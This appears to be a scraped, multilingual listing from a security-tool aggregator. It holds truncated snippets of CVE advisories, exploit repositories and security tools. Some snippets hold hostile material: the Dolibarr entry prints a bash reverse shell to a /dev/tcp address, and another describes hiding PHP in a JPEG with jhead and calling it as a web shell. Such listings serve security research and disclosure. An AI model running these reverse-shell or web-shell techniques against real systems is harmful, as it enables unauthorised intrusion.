CVE-2026-81548

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2026-81545

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

crtsh

crtsh crt.sh の API クライアント crtsh を使用すると、HTTPS ウェブサイトに関する情報を取得できます。 例：サブドメインの検索。 このツールは Certificate Transparency ログを使用しています。 詳細については、https://crt.sh/ を確認してください。 例 サブドメイン example.com のサブドメインを検索する 組織 --query では、% をワイルドカードとして使用できます。 インストール バイナリ リリースページ からバイナリをダウンロードしてください ソース root@kitploit: $ go get -u...

Inject-PHP-to-JPG-Using-Jhead

Inject-PHP-to-JPG-Using-Jhead $ pkg install vim or apt-get install vim $ pkg install jhead or apt-get install jhead $ jhead -h ヘルプを表示 $ jhead -purejpg yourfiles.jpg $ jhead -ce yourfiles.jpg ESC を押して :x と入力し保存 $ jhead yourfiles.jpg 例 : site.com/youfiles.php?cmd=Command Here...

CVE-2026-4861

cve-id 寄付 PayPalまたは下のQRコードをスキャンして、このプロジェクトのメンテナンスをサポートしてください。 ⚡ 簡単な使用方法 このプロジェクトは、次のような安全で許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtua...

CVE-2026-93209 Bluetooth: hci_core: use skb_get() instead of skb_clone() for req_skb

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hcicore: use skbget instead of skbclone for reqskb BT enable fails intermittently with -ETIMEDOUT -110. The kernel log shows the HCI Read Local Version command was sent and the firmware replied with status 0x00 logged ...

CVE-2026-93209

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hcicore: use skbget instead of skbclone for reqskb BT enable fails intermittently with -ETIMEDOUT -110. The kernel log shows the HCI Read Local Version command was sent and the firmware replied with status 0x00 logged ...

CVE-2026-93209 Bluetooth: hci_core: use skb_get() instead of skb_clone() for req_skb

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hcicore: use skbget instead of skbclone for reqskb BT enable fails intermittently with -ETIMEDOUT -110. The kernel log shows the HCI Read Local Version command was sent and the firmware replied with status 0x00 logged ...

CVE-2026-93209

The Linux kernel contains a vulnerability in the Bluetooth hci_core component where BT enable fails intermittently with -ETIMEDOUT (-110) . The root cause is that hci_send_cmd_sync() uses skb_clone() to copy a sent command into hdev->req_skb ; under memory pressure, this clone operation fails,...

EUVD-2026-85938

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hcicore: use skbget instead of skbclone for reqskb BT enable fails intermittently with -ETIMEDOUT -110. The kernel log shows the HCI Read Local Version command was sent and the firmware replied with status 0x00 logged ...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - n8n フルチェーン 未認証での任意ファイル読み取り → 管理者トークン偽造 → サンドボックス回避 → RCE | ---|--- CVE| CVE-2026-21858 AFR + CVE-2025-68613 RCE CVSS| 10.0 + 9.9 緊急 影響を受けるバージョン| = 0.211.0 RCE 修正バージョン| 1.121.0 AFR / 1.120.4+ RCE 公開日| 2026-01-07 11:09 UTC コードネーム| Ni8mare 発見者| Dor Attias Cyera...

infisical

The open-source secret management platform : Sync secrets/configs across your team/infrastructure and prevent secret leaks. Community | Infisical Cloud | Self-Hosting | Docs | Website | X | Hiring Remote/SF Introduction Infisical is the open source security infrastructure platform that teams use...

code-shield

protocol-remediator C/C++ protocol・platformコードの脆弱性findingを再現可能な証拠として正規化し、 候補パッチを隔離されたコピーで検証するMVPである。code-shieldは名前衝突のリスクが 確認された作業名であるため、公開packageとCLIには中立的な内部名を使用した。 現在の実装の中心はパッチ生成モデルではなく、次の検証クローズドループである。 root@kitploit: sanitizer 또는 SARIF - Finding + EvidenceBundle - source context -...

CVE-2026-23500

CVE-2026-23500：Dolibarr 中通过 MAINODTASPDF 配置导致的 OS 命令注入（RCE） 概述 字段| 详情 ---|--- CVE 编号| CVE-2026-23500 严重性| 严重 安全公告| GHSA-w5j3-8fcr-h87w 发现者| Lukasz Rybak 受影响产品 Dolibarr/dolibarr （版本：）被 Web 应用程序或 shell 转义，请将反向 shell 命令编码为 Base64： root@kitploit: Command: bash -c 'bash -i & /dev/tcp/172.26.0.1/4445...

CVE-2026-32722

CVE-2026-32722 Bloomberg Memray のエスケープされていないコマンドライン・メタデータを介した保存型 XSS はじめに Memray （Bloomberg の Python メモリプロファイラ）をレビューしていた際、私はシンプルな疑問を胸にこの問題を発見しました。 攻撃者が制御するランタイム・メタデータは、ブラウザでレンダリングされるレポート出力に、安全でない形で混入し得るのか？ このケースでは、答えはイエスでした。 バグは Memray の HTML...

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - Windows Remote Code Execution Exploit -orange?style=for-the-badg...

CVE-2021-41773-apache

CVE-2021-41773 Apache HTTP Server エクスプロイト このリポジトリには、CVE-2021-41773 として識別される Apache HTTP Server のパストラバーサル（パス横断）脆弱性に対する Python ベースの概念実証（PoC）エクスプロイトが含まれています。このスクリプトは、セキュリティ研究、防御的テスト、および脆弱なシステムに対する許可を得た評価を目的として設計されています。 概要 CVE-2021-41773 は、Apache HTTP Server バージョン 2.4.49...

CVE-2026-50055

cve-id 寄付 PayPalまたは以下のQRコードをスキャンして、このプロジェクトの保守を支援してください。 ⚡ シンプルな使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd プロジェクトは以下のPythonを使用します 仮想環境を作成 python -m venv venv 仮想環境を有効化 macOS / Linux source venv/bin/activate...

CVE-2019-1388-Privilege-Escalation--2021-

CVE-2019-1388 Privilege Escalation CVE-2019-1388 Lab Analysis: Documented local privilege escalation via Windows UAC certificate dialogs on Windows 7. CVE-2019-1388: Windows UAC Privilege Escalation Lab An educational cybersecurity lab and technical analysis documenting CVE-2019-1388 —a local...

CVE-2026-9490

CVE ID: CVE-2026-9490 研究者: Vo Duc Thang ugvxb 謝辞: https://community.acer.com/en/kb/articles/19668 1. 概要 Acer Care Center サービス ACCSvc.exe に重大なセキュリティ脆弱性が特定されました。この脆弱性により、認証された任意のローカルユーザーがシステムサービスをクラッシュさせ サービス拒否、さらに弱いセキュリティ設定の名前付きパイプインターフェースを通じて特権を昇格させる可能性があります。 SYSTEM 権限 LocalSystem...